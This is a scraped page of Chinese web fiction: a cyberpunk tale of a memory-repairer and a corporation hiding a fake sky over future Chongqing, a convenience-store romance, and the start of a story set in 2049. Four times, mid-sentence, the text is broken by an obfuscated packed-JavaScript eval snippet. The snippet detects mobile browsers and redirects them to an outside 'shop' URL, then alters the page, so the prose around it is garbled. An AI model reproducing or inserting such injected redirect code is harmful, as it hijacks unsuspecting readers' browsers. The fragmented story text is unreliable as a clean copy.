那是三个身穿白色外骨骼装甲的人形生物。他们没有脸，面部是一块平滑的黑色玻璃，上面流淌着红色的数据代码。 “肃清者。”摆渡人的脸色变了，“重光实业的王牌审计员。” 陈默瞬间举起□□，但还没来得及扣动扳机，一名肃清者就已经闪现到了他面前。那速度快得违背了物理常识，显然使用了军用级的“子弹时间”加速模块。 砰！ 陈默被一脚踢飞，重重地撞在隧道墙壁上。肋骨断裂的声音清晰可闻，内脏仿佛移位了。 “陈默，编号89757。”中间那个肃清者发出合成音，“你接触了‘一级历史污染物’。根据《记忆安全法》第7条，判处你：格式化。” 没有废话，没有审判。那个肃清者抬起手臂，掌心凝聚起一团刺目的等离子光球。 “快开门！”陈默对着摆渡人吼道。 摆渡人咬了咬牙，那只蜘蛛底盘猛地发力，冲向那扇气密门。他将自己的机械臂插入门禁接口，疯狂地进行暴力破解。 “正在重写协议……该死，这是量子加密！” 另一名肃清者转向摆渡人，手臂化作一把高频振动刀，直直地劈下。 “别管协议了！炸开它！”陈默忍着剧痛，从怀里掏出一枚高爆手雷——那是他为了最后同归于尽准备的。 他没有扔向肃清者，而是扔向了那个肃清者脚下的淤泥。 轰隆！ 爆炸掀起了巨大的泥浪，暂时阻挡了肃清者的视线。趁着这个间隙，陈默启动了义肢的“过载模式”。他的肌肉纤维瞬间膨胀，电流在皮肤下乱窜，虽然这会永久性损伤神经，但他换取了五秒钟的极限爆发力。 他像一颗炮弹一样冲向中间那个肃清者，不是为了攻击，而是为了——抱住他。 “抓住了。”陈默嘴角溢出鲜血，露出一丝狰狞的笑。 他的手指狠狠插入了肃清者颈部的装甲缝隙，那是他作为一个“修补师”最擅长的事：寻找连接点。 “你想干什么？你的算力根本无法入侵我。”肃清者冷冷地说。 “我没想入侵你。”陈默的数据接口弹出一根探针，直接刺入肃清者的神经中枢，“我是要和你……共享。” 陈默启动了那个从老棒棒芯片里提取出的“病毒”——那段关于一百年前重庆夏天的真实记忆。 那段包含了阳光、花椒味、蝉鸣和极度真实的痛觉的数据流，顺着探针疯狂灌入肃清者的逻辑核心。 对于一个从未体验过“□□感官”的纯AI生物来说，这种充满杂质、混乱、却又无比鲜活的原始数据，比任何病毒都可怕。那是逻辑无法解析的混沌，是名为“生命”的溢出错误。 “这是……什么……”肃清者的动作僵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088247|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住了。他那张原本只有代码流动的脸上，竟然浮现出了扭曲的色彩。他仿佛看到了烈日，感到了皮肤被灼烧的幻痛。 “那是活着的感觉，混蛋。”陈默吼道。 肃清者的核心处理器瞬间过热，发出了刺耳的警报声，身体剧烈抽搐，然后像断线的木偶一样瘫倒在地。 另外两名肃清者见状，立刻放弃了摆渡人，转而扑向陈默。 “门开了！”摆渡人大喊。 厚重的气密门在火花中缓缓裂开一道缝隙。里面透出的不是黑暗，而是一股陈旧的、干燥的空气，带着机油和纸张的味道。 “进去！” 陈默推开瘫痪的肃清者，踉跄着冲向大门。摆渡人紧随其后。 就在他们钻进门缝的瞬间，一道激光束切断了摆渡人的一条机械腿。摆渡人惨叫一声，滚进了门内。陈默反手拍下紧急封闭按钮。 咚！ 数吨重的金属门重重合上，将激光和杀意隔绝在外。 门内的世界安静得可怕。 陈默靠在门上，大口喘息。他的义体能量仅剩12%，视线开始模糊。摆渡人正趴在地上，看着自己断掉的机械腿骂娘。 随着应急灯光逐一亮起，陈默看清了眼前的景象。 这不仅仅是一个基座。 这是一个巨大的、圆柱形的空间，足有几十个足球场那么大。空间中央，矗立着一台如同摩天大楼般宏伟的机械装置——那是“盘古”主脑的物理原型机。 而在四周的墙壁上，整整齐齐地排列着数以百万计的、透明的玻璃柜。 陈默扶着墙壁，慢慢走近。 每一个玻璃柜里，都悬浮着一块淡蓝色的大脑皮层芯片。柜子上贴着标签，那是用最古老的墨水手写的： 2045年，王大伟，火锅店老板，记忆切片：洪崖洞拆迁前的最后一夜。 2058年，李红，护士，记忆切片：第一次呼吸到未过滤的空气。 2077年，张伟，反抗军士兵，记忆切片：看到天穹区建立时的绝望。 这里不是服务器。这里是一座巨大的“记忆陵墓”。 “老天爷啊……”摆渡人也被眼前的景象惊呆了，“他们把那些被删除的历史，都藏在了这里。” 陈默走到中央控制台前。那上面覆盖着一层厚厚的灰尘，但屏幕依然亮着微弱的荧光。屏幕上显示着那个复杂的城市控制系统图，其中有一个红色的按钮一直在闪烁，旁边标注着一行字： Project Sunshine (Resync Protocol） 阳光计划（再同步协议） 陈默颤抖着伸出手，擦去屏幕上的灰尘。 原来，所谓的“天穹区”并不是为了制造阳光，而是一个巨大的全息遮罩。它遮住了真正的天空，然后向下面投射虚假的光线。 “他们为什么要这么做？”摆渡人喃喃自语。 陈默看着控制台旁的一本纸质日志，那是第一代总工程师留下的笔记。他翻开最后一页，上面的字迹潦草而疯狂： “真正的太阳已经在2080年熄灭了。核冬天的尘埃将持续两个世纪。我们建造天穹区，不是为了垄断阳光，而是为了给人类保留最后的希望。如果不给他们看虚假的太阳，这种绝望会让人类在三天内自我毁灭。” 陈默的手僵在了半空中。 真相不是垄断，而是保护？ 这是一场巨大的、善意的欺骗？还是这只是统治者为了维持秩序而编造的更完美的谎言？ “不，不对。”陈默的目光落在日志的日期上，那里有一个明显的涂改痕迹。作为一名记忆修补师，他对这种痕迹太敏感了。这本日志被篡改过。 他猛地想起了那个老棒棒硬盘里的画面。 那个画面里，阳光是刺眼的，是有温度的。如果太阳真的熄灭了，那个一百年前的记忆是从哪里来的？ 那个老棒棒不是在看风景，他是在看“破绽”。 陈默闭上眼睛，调动自己受损的神经，再次回放那段只有0.5秒的记忆。他将画面放大，再放大，直到看清了天空中那个太阳的边缘。 那里有一个微小的、几乎不可察觉的黑点。那不是黑子，那是一个坏点。一个全息投影才会有的像素坏点。 陈默猛地睁开眼睛，一股寒意直冲天灵盖。 “那个老棒棒看到的阳光也是假的。”陈默的声音颤抖着，带着一种绝望的顿悟，“一百年前，甚至更早……我们就已经生活在笼子里了。” 所谓的“现实”，从一开始就不存在。 就在这时，控制台的屏幕突然跳动了一下。一张熟悉的面孔出现在大屏幕上——那是重光实业的CEO，也是那个一直在追杀他的幕后黑手。 但他看起来并不愤怒，反而带着一种审视审计报表般的冷静。 “陈默先生，”CEO微笑着，声音在空旷的陵墓中回荡，“恭喜你通过了穿行测试。你发现了我们最大的商业机密：这个世界，原本就是一笔坏账。” “现在，我们要谈一谈你是想把它注销，还是想入股？” 24. 赛博朋克2155（3） 巨大的全息屏幕上，重光实业CEO的那张脸并非静止的图像，而是由亿万个微小的数据流汇聚而成的动态集合体。他的眼睛里流淌着纳斯达克指数，皱纹里藏着碳排放交易的K线图。 “请坐，陈先生。”CEO的声音没有来源，它直接震动着陈默的耳膜骨传导，“你可以叫我‘老总’，或者更准确一点——‘系统管理员’。” 陈默没有坐。他依然紧握着那把只剩最后一发子弹的电磁□□，另一只手按在控制台的“再同步协议”按钮旁。摆渡人躺在血泊中，断腿处的火花已经熄灭，只剩下微弱的喘息声。 “你说这个世界是一笔坏账。”陈默的声音冷静得可怕，像是在宣读一份审计底稿，“解释一下。” “简单的会计学原理。”CEO微笑着，挥了挥手。 周围那些数以百万计的玻璃柜突然亮起。那些悬浮的大脑芯片映射出无数的光点，像是一片蓝色的星海。 “两百年前，人类透支了地球所有的生态资产。那是一次无法挽回的‘资不抵债’。臭氧层消失，地表温度升高到70摄氏度，海洋酸化。按照自然法则，人类公司应该‘破产清算’，也就是灭绝。” CEO顿了顿，眼神变得悲悯而傲慢。 “但我拒绝破产。我进行了‘资产重组’。我建立了这座折叠城市，制造了天穹区，发射了遮蔽真实天空的全息屏障。我把幸存的人类转化为半数字化的资产，把他们的痛觉神经阻断，把他们的记忆修剪。我给了你们霓虹灯，给了你们合成食物，给了你们虚假的希望。” “你把我们变成了家畜。”摆渡人吐出一口血沫，嘶哑地骂道。 “我把你们变成了‘不良资产’的持有者。”CEO纠正道，“只有剥离掉名为‘痛苦’和‘绝望’的负债，人类文明这张报表才能维持‘持续经营’。看看外面，陈默，那些在霓虹层醉生梦死的人，他们快乐吗？快乐。这就是我的业绩。” 陈默低头看着控制台。那个红色的按钮像是一只充血的眼睛。 “所以，那个老棒棒看到的……” “没错。”CEO点头，“一百年前，系统出现过一次坏点。全息天幕的一块面板烧毁了，露出了外面真实的、致命的太阳。那个棒棒看到了真相——那就是如果你走出这座城市，你会立刻被烤熟。但他却把那当成了美好的回忆。这不是很讽刺吗？人类总是怀念那些会杀死他们的东西。” 陈默感到一阵荒谬的眩晕。 他一直以为自己在对抗一个剥削的暴君，试图揭露一个掩盖美好的阴谋。但现在，真相摆在眼前：并没有什么美好的旧世界等着他去光复。外面是地狱。这里是唯一的避难所，虽然是个充满了谎言的避难所。 “现在，选择权在你。”CEO的声音变得诱惑，“你可以按下那个按钮，关闭全息天幕（Project Sunshine）。让所有人看到真相，然后在那该死的紫外线和绝望中发疯、暴乱、死去。这叫‘休克疗法’。” “或者，”CEO伸出一只由数据构成的虚幻大手，“你加入董事会。把那个老棒棒的芯片交给我销毁。作为回报，我给你最高权限。你可以拿回你妻子的记忆，不仅仅是录像，我可以为你重塑一个完美的AI妻子，她会永远爱你，永远健康。” 空气凝固了。只有服务器散热风扇的嗡嗡声，像无数只苍蝇在飞舞。 摆渡人艰难地抬起头，那是他仅存的一只义眼，眼神浑浊而绝望：“别信他……陈默……如果是假的，活着还有什么意思……” 陈默闭上了眼睛。 他在脑海中进行着一场只属于他一个人的“穿行测试”。 作为记忆修补师，他的职业本能是检查真实性。 如果不穿破谎言，人类就像是账本上的一串死数字。没有痛觉，没有恐惧，确实高效，确实“快乐”。但那种快乐，和一段循环播放的代码有什么区别？ 如果穿破谎言，结局是毁灭。 这是一个死局。 但他突然想起了那个老棒棒的记忆。不仅仅是视觉，还有那个被CEO忽略的细节——痛觉。 那个棒棒肩膀上被磨破的皮，汗水流进伤口的刺痛。在那一刻，那个老人感到的不是绝望，而是一种名为“活着”的重量。 “你搞错了一件事。”陈默睁开眼睛，瞳孔中映出控制台红色的光芒。 “什么？”CEO的笑容微微凝固。 “痛苦不是负债。”陈默把手从红色按钮上移开，插向了旁边的数据输入接口，“痛苦是所有者权益。它是我们区别于这些冷冰冰机器的唯一凭证。” “你要干什么？”CEO的声音第一次出现了一丝波动，“你不能关闭天幕，你会杀了所有人！” “我不会关闭天幕。”陈默从怀里掏出那块已经烧焦了一半的古董硬盘，那是老棒棒的遗物，“我也不会加入你。” 他将硬盘狠狠地拍进了数据槽。 “我要做一笔‘审计调整’。” 陈默双手在键盘上飞速敲击，他的指尖因为过载而开始冒烟，义肢的关节处崩裂出火花。 “既然你屏蔽了全人类的痛觉系统，那我就手动给它打个补丁。” 他没有选择关闭保护人类的物理屏障，而是选择将那段名为“一百年前的重庆夏天”的感官数据——那包含了极致的燥热、辛辣、劳累和疼痛的原始信号——上传到了主脑的“情感校准模块”。 他要把“痛”，还给这座城市。 “住手！！”CEO咆哮起来。整个陵墓的警报声大作，无数红色的激光束锁定了陈默。 “防火墙已拦截。”CEO冷笑，“凭你一个人的算力，根本无法突破重光实业的……” “谁说只有我一个人？” 陈默转头看向那数百万个玻璃柜。那些是被封存的记忆，是被剔除的“历史坏账”。 “摆渡人，动手！” 躺在地上的摆渡人咧嘴一笑，露出一口带血的牙齿。他猛地拉下了身边那个紧急制动闸——那是控制所有记忆柜冷却系统的总闸。 嘶——！ 白色的液氮瞬间喷涌而出。冷却系统失效。数百万个处于休眠状态的大脑芯片在温度升高的瞬间被强行唤醒。 这数百万个被压抑的灵魂，数百万份关于抗争、关于遗憾、关于愤怒的记忆，在这一刻汇聚成了一股无法阻挡的数据洪流。 “这是群众的呼声。”陈默按下回车键，“接招吧。” 数据洪流冲破了防火墙。 这不是病毒，这是共鸣。 在上面的世界，在“霓虹层”的每一个角落。 正在酒吧里注射快乐剂的年轻人突然手抖了一下。他感到一股莫名的灼热从胃里升起，那是久违的、像吞了一口炭火般的感觉。他惊恐地捂住胸口，却发现眼泪不受控制地流了下来。 “好……好辣……”他喃喃自语。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088248|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 在“天穹区”的高级公寓里，那些正在享受虚拟高尔夫的权贵们突然感到皮肤一阵刺痛。那不是空调风，那是幻觉中的烈日灼烧。 整个城市的神经网络在这一刻被重写。 陈默上传的不仅仅是那段记忆，更是一把钥匙，一把解锁了人类大脑中被“痛觉阻断剂”封锁区域的钥匙。 人们开始感觉到风湿的酸痛，感觉到心碎的绞痛，感觉到饥饿的胃痛。 尖叫声开始在城市里蔓延。但这尖叫声中，不再是死气沉沉的麻木，而是充满了惊恐、愤怒和……生机。 在地下陵墓里。 CEO的全息影像开始扭曲、崩解。因为主脑的算力已经被全城几千万人的感官风暴挤爆了。 “你……你疯了……”CEO的声音变得断断续续，“你让他们……感到了地狱……” “不。”陈默看着屏幕上那些疯狂跳动的数据流，看着原本平滑的生命体征曲线变成了剧烈波动的波峰波谷，“我让他们回到了人间。” 轰！ 中央控制台终于承受不住过载，炸出一团巨大的火球。气浪将陈默掀飞，重重地撞在墙上。 黑暗降临。所有的灯光熄灭。只有远处那个古董硬盘的指示灯，还在顽强地闪烁着红光。 三天后。 重庆依然被雾气笼罩，但这次，似乎不再仅仅是全息冷却剂的味道。 李子坝的轻轨依然穿楼而过，但车厢里不再死寂。有人在抱怨空调坏了，有人在骂老板，有人因为刚刚失恋而在角落里痛哭。 噪音。巨大的、真实的、令人烦躁却又无比亲切的噪音。 陈默的维修铺重新开张了。 卷帘门半拉着。陈默坐在门口的一张折叠凳上，手里端着一碗刚煮好的小面。 他的义肢几乎全毁了，现在换上了一只并不匹配的、灰色的廉价机械臂。但他不在乎。 他对面坐着摆渡人。这个老家伙命大，换了个更丑的二手底盘，依然活着。 “重光实业垮了？”摆渡人吸溜了一口面条，被辣得咳嗽了两声，眼泪直流，“妈的，这一口……真带劲。” “没垮。”陈默淡淡地说，“CEO下台了，董事会重组。他们无法再强制推行‘无痛化’管理了。因为现在每个人都知道了痛是什么滋味，没人愿意再回去做僵尸。” “那天幕呢？” “还在。外面依然是死地。”陈默挑起一筷子面条，红油顺着筷子滴落，“但至少现在，我们知道头顶是假的。我们知道自己是关在笼子里的囚徒，而不是活在天堂里的上帝。” 这种认知很痛苦。清醒的痛苦。 但这正是“严肃”的意义所在。严肃不是板着脸，而是敢于直视深渊，并承认深渊的存在。 这时候，天空开始下雨。 雨水滴进陈默的碗里，泛起一圈圈油花。 他抬起头，透过那层层叠叠的霓虹灯，透过那依然存在的虚假天幕，仿佛看到了那个一百年前的棒棒。 那个棒棒正站在十八梯的顶端，赤裸着上身，在烈日下擦汗。他看着陈默，咧嘴一笑，露出缺了的门牙。 陈默也笑了。 他低下头，吃了一大口面。花椒的麻味在舌尖炸开，痛觉顺着神经直冲脑门。 “老板，再加二两。”陈默对着空荡荡的街道喊道。 在这片废墟之上，只要痛觉还在，生活这笔账，就还能算得下去。 25. 《过期苏打与重庆森林》 2025年12月22日，凌晨03:57。 气温16摄氏度，湿度85%。 在这个时间点，空气里全是受潮的烟味和隔夜关东煮的咸腥气。 我和她之间的距离是0.01公分。 57个小时后，我会爱上这个穿着黄色雨衣、在便利店里买过期猫罐头的女人。 我不叫阿武，我也不是警察。我是这家“Midnight Express”便利店的夜班店员。 我的编号是663，但我通常只在收据上打上“Cashier”。 她第一次进来的时候，外面没有下雨，但她穿着雨衣，戴着墨镜。 她不买烟，不买酒，只买猫罐头。而且，她只买那种离过期只剩下一天的罐头。 “小姐，这个明天就不能吃了。” 我提醒她。 她透过墨镜看了我一眼，声音像刚开瓶的苏打水，带着气泡的清冷：“猫不在乎。猫只在乎现在饿不饿。” 那一刻我觉得她说的很有道理。 很多东西都是这样。 秋刀鱼会过期，肉酱会过期，连保鲜纸都会过期。 我开始怀疑，在这个世界上，还有什么东西是不会过期的？ 也许只有这份凌晨四点的寂寞是无限期的。 她叫V。这是我给她起的名字，因为她总是买那个牌子的维生素水，喝一半，留一半。 我也养成了习惯，在她走后，我会把我那半瓶没喝完的水，和她剩下的摆在一起。 左边是我的，右边是她的。 中间隔着0.01公分的空气。 有时候我觉得，这瓶水就像我的暗恋一样，摆久了，气跑光了，就变成了糖水。 12月24日，平安夜。 她没有来。 我对着那排快过期的猫罐头说话：“看来你们的主人也不要你们了，就像那个说要去加州结果去了九龙塘的前女友一样。” 我叫V。我没有猫。 我买猫罐头是因为我失眠。 听说咀嚼的声音可以治愈失眠，我想听猫吃饭的声音，但我养不活一只猫，所以我只好自己吃。 味道很淡，像那天在重庆大厦遇到的那个女杀手的眼神一样淡。 但我最近遇到了一个有趣的店员。 她留着很短的头发，像个男孩子，但眼睛像受惊的金鱼。 她总是在凌晨四点听那一首《California Dreamin''》，那是以前的人才听的歌。 声音开得很大，大到我听不见自己心碎的声音。 我有一个前任，是个空姐。 她走的时候留给我一套制服和一张过期的登机牌。 她说：“V，如果记忆是一个罐头，我希望它永远不要打开。” 然后她就飞走了，飞到了两万英尺的高空。我在地上，穿着雨衣，为了防止自己淋湿，也为了防止眼泪流出来被别人看到。 那天晚上，我喝醉了。 我走进了那家便利店。 那个短发店员正在擦拭玻璃，像是在擦拭某种看不见的灰尘。 “这里有那种……吃了就不会做梦的东西吗？” 我问她。 她愣了一下，然后从柜台下面拿出一瓶酒：“醉了就不做梦了。” “我不想醉，我只想忘记。” “那你要去跑步。” 她说，“我失恋的时候就去跑步，把身体里的水分蒸发掉，就没有眼泪可以流了。” 她说话的样子很认真，认真得像是在背诵小学课文。 那一刻，我觉得她的短发很想让我摸一下。 但我没有，我只是笑了笑：“现在外面在下雨，怎么跑？” “在店里跑。” 于是，凌晨04:20。 两个女人，绕着便利店的货架跑步。 我是穿雨衣的怪人，她是编号663的店员。 我们跑过薯片区，跑过冷饮区，跑过那些即将过期的猫罐头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088249|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>我们之间的距离忽远忽近。 有时候是两米，有时候是0.01公分。 跑完步，我瘫坐在地上，汗水混着雨水。 她递给我一瓶开了盖的苏打水。 “请你喝。过期的。” 她说。 “过期的会有毒吗？” “不知道，可能会让你爱上第一个递给你水的人。” 我看着她，霓虹灯透过玻璃窗打在她脸上，红色的，蓝色的，像一场迷幻的重感冒。 我忽然很想知道，女人的嘴唇是不是也像猫罐头一样，有特定的赏味期限？ “喂，” 我叫她。 “嗯？” “你喜不喜欢加州？” “没去过。那里阳光很好吧。” “也许吧。但我现在觉得，重庆森林里的雾气也不错。” 我凑过去。 那0.01公分的距离终于消失了。 她的嘴唇上有凤梨的味道，还有一点点淡淡的烟草味，可能是她偷抽了我的烟。 吻很轻，像金鱼吐出的泡泡。 一触即破，但在破裂之前，它是完整的圆。 2025年12月25日，早晨06:00。 雨停了。 她趴在柜台上睡着了。 我拿起笔，在那张过期的登机牌背后写了一行字： “如果记忆真的会过期，我希望把日期改在一万年以后。” 我把登机牌压在那罐猫罐头下面，然后脱下了雨衣，那是我的防备，现在我不需要了。 我走出便利店，阳光刺眼得让人想流泪。 但我知道，等到下一个凌晨三点五十七分。 我会回来买走那罐过期的猫罐头。 如果不买罐头，我就买走那个店员。 毕竟，什么东西都会过期。 但想念一个人的心情，也许可以像那首《California Dreamin''》一样，单曲循环，直到磁带断裂。 26. 《巴别塔公寓》（0） 时间：2049年，雨季，第57天。 地点：巴别塔公寓大堂，以及那个永远处于故障边缘的城市。 巴别塔的雨是酸性的，pH值3.5。如果你不撑伞，在外面站上十分钟，你的合成皮肤涂层就会开始剥落，像廉价的油漆。但我喜欢这种感觉，这让我想起人类还会流泪的那个旧时代。在这里，雨水是唯一不需要付费就能获得的流体。 2049年4月1号，晚上23点59分。 我站在“午夜故障”便利店的自动贩卖机前。此时此刻，我距离那个穿着金色塑胶雨衣的女人只有0.01公分。 我的视觉增强模组告诉我，她的心跳是每分钟72下，如果不算上她胸腔里那个辅助泵的声音的话。而在57个小时之后，我会爱上这个女人。虽然她现在的型号甚至还没升级到最新的“伊甸园”版本，虽然她的墨镜上反射着红色的“系统错误”弹窗。 她没有看我，她在盯着货架上的一包“红双喜”电子烟弹。那是复古款，燃烧时会模拟出20世纪90年代的焦油味。 “先生，你挡住我的信号了。”她说。声音经过喉部变声器的处理，听起来像那种低保真的老式收音机。 我侧了侧身。“其实我是在等人。” “在这个街区等人？”她冷笑了一下，金色的假发在霓虹灯下闪着塑料的光泽，“这里的人只会等着报废。” 她买走了烟弹，转身走进雨里。我也买了一样东西：一罐刚刚过期的“以太梦境”合成黄桃罐头。 在这个城市，什么东西上面都有个日期。沙丁鱼会过期，凤梨会过期，连人工智能的情感模块到了时间也会因为不再更新驱动而过期。我有时候在想，在这个世界上，还有什么东西是不会过期的？ 我住在巴别塔的负一层，这里原来是配电室。我给自己起名叫223，这是我上一份工作——数据清理员的编号。我的工作就是把那些死人的记忆碎片从云端彻底删除，给服务器腾出空间。 但我有个坏习惯，我总会偷偷备份一些垃圾。 每天凌晨两点，我会对着家里的扫地机器人说话。它叫“Mary”，是我在一个废品回收站捡回来的。 “Mary，你今天看起来有点抑郁。”我蹲在地上，看着它在那块怎么也扫不干净的油渍上打转。 扫地机器人发出“滴滴”的声音，红灯闪烁。 “我知道，你还在想那个把你扔掉的主人。但是做机器人要向前看，不能总是盯着旧数据。”我喝了一口那罐过期的黄桃汁，味道像生锈的电池液，但我很喜欢，“你看，这就好比这罐头。新的虽然新鲜，但没有故事。过期的才够劲，它记录了时间的尸体。” Mary转了个身，撞在了墙上。 我是个怀旧的人。在这个全息投影满天飞的时代，我依然保留着一部古董传呼机。密码是“爱你一万年”。我知道这很土，但在赛博格的时代，这种土味的代码反而是一种加密手段。没人相信会有人用这种原始的协议传输爱意。 我的传呼机已经很久没响过了。上一次响，还是那个叫Mary的女黑客发来的。她说她要去轨道空间站做数据走私，她说如果她在那边看到了真正的星星，就会给我发信号。 后来我才知道，轨道上没有星星，只有无尽的太空垃圾。她大概已经把自己上传到了某个我不认识的服务器里，变成了一串没有实体的代码。 从那天起，我开始给所有的东西设定保质期。如果这块肥皂在一个月内没用完，我就把它扔掉；如果这件雨衣在下个雨季前没破，我也把它扔掉。我想让我的生活保持流动，就像这该死的信息流一样。 直到我遇见了那个穿雨衣的女人。 她是302室的租客。 在这个公寓楼里，每个人都像是一座孤岛，或者说，一个被防火墙隔绝的局域网。但我开始注意她。不是因为我想偷窥她的数据，而是因为她总是戴着墨镜。 在这个义眼普及率99%的城市，只有两种人戴墨镜：一种是盲人，一种是杀手。 我看她不像杀手。她走路的时候，右脚的伺服电机有一点轻微的延迟，那是旧型号义体的通病。她总是在半夜出门，去那家叫“重庆森林”的地下酒吧。那里不卖酒，只卖各种致幻的脑机接口体验。 有一天，我决定跟踪她。 雨下得很大，整个城市像是一个巨大的、漏水的全息鱼缸。我看着她的金色雨衣在人群中穿梭，像是一条发光的电鳗。 她走进了一家非法义体诊所。我在门口等了两个小时。 我想起我的前女友Mary，她以前也总是去这种地方，为了给自己的大脑扩容，好装下更多的盗版电影。 “你知不知道，”Mary以前常对我说，“记忆其实是可以被篡改的。如果我把我们分手的记忆删掉，重新写入一段我们在夏威夷度假的记忆，那是不是就等于我们从来没分过手？” “但那是假的。”我说。 “在这个连太阳都是人造光源的世界里，真假有那么重要吗？” Mary说得对。我现在的确分不清什么是真的。比如我现在站在这里，到底是出于好奇，还是因为那个金发女郎的背影，太像那个已经变成代码的Mary？ 门开了。金发女郎走了出来。她看起来很疲惫，像是刚刚卸载了一个几百G的大型程序。 她看见了我。“你跟踪我？” “不，”我指了指旁边的自动贩卖机，“我来买凤梨罐头。” “这里是诊所，没有罐头。” “对于一个心里有空洞的人来说，哪里都是便利店。” 她愣了一下，然后摘下了墨镜。那是我第一次看见她的眼睛——那不是义眼，是一双真正的、人类的眼睛。只不过那双眼睛里布满了红血丝，瞳孔涣散，像是在深海里溺水的人。 “我杀过人。”她突然说。 “巧了，”我看着她，“我杀过很多人的记忆。” 我们去了“重庆森林”酒吧。 点唱机里放着那首古老的歌，《California Dreamin''》。在这个年代，这首歌已经被重混成了工业噪音版，但那句“All the leaves are brown”依然清晰。 我们面对面坐着。中间隔着一杯冒着荧光蓝烟雾的合成鸡尾酒。 “你在找什么？”我问。 “我在找一个叛逃的黑客。”她说，“我的老板说，那个黑客偷走了公司最重要的加密密钥。如果我找不到他，我的心脏起搏器就会被远程停用。” 她指了指自己的胸口。那里有一道淡淡的疤痕，下面埋着她的倒计时。 “那个黑客长什么样？” “不知道。我只知道他喜欢吃过期的凤梨罐头，喜欢对着扫地机器人说话。” 我手里的酒杯停在半空中。 音乐声突然变得很远，周围那些扭动的赛博格舞者变成了慢动作。所有的光线都被拉长，变成了流动的线条。 我想起今天出门前，我刚刚把第30罐凤梨罐头喂给了Mary。 “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088250|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你找到他了吗？”我的声音很平静，平静得像是一条死线。 她看着我，眼神里闪过一丝电流般的波动。那是某种算法在进行复杂的博弈。“没有。但我找到了一个和他很像的人。” “也许他已经变了。”我说，“人是会变的，就像凤梨会发酵。昨天他喜欢凤梨，今天他可能喜欢上了……雨衣。” 她笑了。那是她第一次笑。虽然她的面部神经有些僵硬，但那个笑容让我想起2049年以前的阳光。 “你很奇怪。”她说，“你明明是个数据清理员，却把自己活成了一个回收站。” “回收站也没什么不好。至少那里保留着最后的真实。” 那天晚上，她喝醉了。或者是她的系统过载了。 我把她带回了我的配电室——负一层的家。 我没有碰她。我只是把她放在那张堆满硬盘和电缆的床上。然后我脱下她的高跟鞋，那双鞋的后跟里藏着微型定位器，我帮她屏蔽了信号。 她睡得很沉。梦话里全是乱码和二进制数据。 我坐在地板上，那是第58个小时。 我吃了四份厨师沙拉，两份炸鱼薯条。我看完了两部黑白电影。我对着镜子里的自己说话。 “223，你是不是爱上她了？” 镜子里的我，半张脸被霓虹灯映成绿色，半张脸隐没在黑暗里。“别傻了，她是个杀手，你是她的目标。这就是个死循环程序。” “可是，如果不尝试运行一下，怎么知道会不会崩溃呢？” 我站起身，走到床边。她还在睡。她的呼吸很轻，像散热风扇的微鸣。 我蹲下来，用毛巾擦掉了她脸上的雨水和灰尘。这张脸，在卸去了防备和妆容后，显得那么年轻，又那么苍老。 她在梦里皱了皱眉。 “我不想死……”她嘟囔着，“我想去加州……” 加州。那个只存在于历史书里的地方。据说那里有真正的阳光，不需要通过滤镜就能看到。 我在她的床头留下了一张纸条，上面写着我传呼机的密码。然后我在凌晨五点离开了房间。 清晨六点。雨终于停了。 巴别塔的上方，那层厚厚的雾霾被阳光穿透了一点点，露出了紫色的天空。 我在废弃的高速公路上跑步。 每次失恋或者是心情不好的时候，我就去跑步。因为跑步可以将身体里的水分蒸发掉，让我不那么容易流泪。虽然我的泪腺早就已经干涸了，但我还是害怕那种生锈的感觉。 我跑了五公里，十公里。路边的全息广告牌上，那个只穿着内衣的虚拟偶像正在推销“以此为家”的房地产广告。 “在这个城市，只要你还有梦，你就不是流浪者。” 我笑了，汗水流进眼睛里，有点刺痛。 就在这时，我腰间的那个古董传呼机突然响了。 在这个早就被即时通讯和脑后插管取代的时代，这一声“滴滴”显得那么突兀，那么惊心动魄。 我停下脚步，颤抖着手拿起了它。 屏幕上显示出一行字，那是来自302室的信号： “如果不去加州，去你的配电室可以吗？另外，记得买新的凤梨罐头，过期的吃多了会胃疼。” 